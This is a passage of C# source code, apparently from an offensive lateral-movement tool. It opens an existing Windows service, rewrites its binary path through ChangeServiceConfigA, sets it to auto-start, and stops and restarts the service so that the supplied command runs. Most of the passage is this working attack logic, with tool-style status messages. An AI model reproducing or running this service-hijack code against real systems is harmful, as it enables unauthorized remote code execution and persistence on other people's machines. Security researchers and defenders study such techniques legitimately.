svchandle); 248 | 249 | if (svchandle == IntPtr.Zero) 250 | { 251 | Console.WriteLine("[!] OpenService failed! Error:{0}", GetLastError()); 252 | Console.WriteLine("[!] Exiting early.."); 253 | return; 254 | 255 | } 256 | 257 | int configRet = ChangeServiceConfigA( 258 | svchandle, //IntPtr hService, 259 | 0x10, //SERVICE_WIN32_OWN_PROCESS 260 | 2, //start_auto 261 | 1, //errorcontrol 262 | BinaryPathName, // string lpBinaryPathName, 263 | null, // string lpLoadOrderGroup, 264 | null, // string lpdwTagId, 265 | null, // string lpDependencies, 266 | null, // string lpServiceStartName, 267 | null, // string lpPassword, 268 | null // string lpDisplayName) 269 | ); 270 | 271 | if (configRet == 0) 272 | { 273 | Console.WriteLine("[!] Change Service Config failed! Error:{0}", GetLastError()); 274 | Console.WriteLine("[!] Exiting early.."); 275 | return; 276 | } 277 | 278 | bool bResult = StartService(svchandle, 0, null); 279 | uint dwResult = GetLastError(); 280 | 281 | if (dwResult == 1056) 282 | { 283 | Console.WriteLine("[!] Stopping Service first"); 284 | Console.WriteLine("[!] Waiting 30 seconds for service to stop fully.."); 285 | System.Threading.Thread.Sleep(30000); 286 | SERVICE_STATUS stat = new SERVICE_STATUS(); 287 | ControlService(svchandle, 0x1, ref stat); 288 | 289 | Console.WriteLine("Get Last Error: " + GetLastError()); 290 | 291 | StartService(svchandle, 0, null); 292 | 293 | Console.WriteLine("[!] Trying to start service"); 294 | bResult = StartService(svchandle, 0, null); 295 | dwResult = GetLastError(); 296 | if (!bResult && dwResult != 1053) 297 | { 298 | Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError()); 299 | } 300 | else 301 | { 302 | Console.WriteLine("[*] Service was started"); 303 | } 304 | } 305 | else if (!bResult && dwResult != 1053) 306 | { 307 | Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError()); 308 | } 309 | else 310 | { 311 | Console.WriteLine("[*] Service was started"); 312 | } 313 | 314 | } 315 | catch (Exception e) 316 | { 317 | Console.WriteLine(e.ToString()); 318 | } 319 | 320 | } 321 | 322 | 323 | } 324 | 325 | 326 | } 327 | --------------------------------------------------------------------------------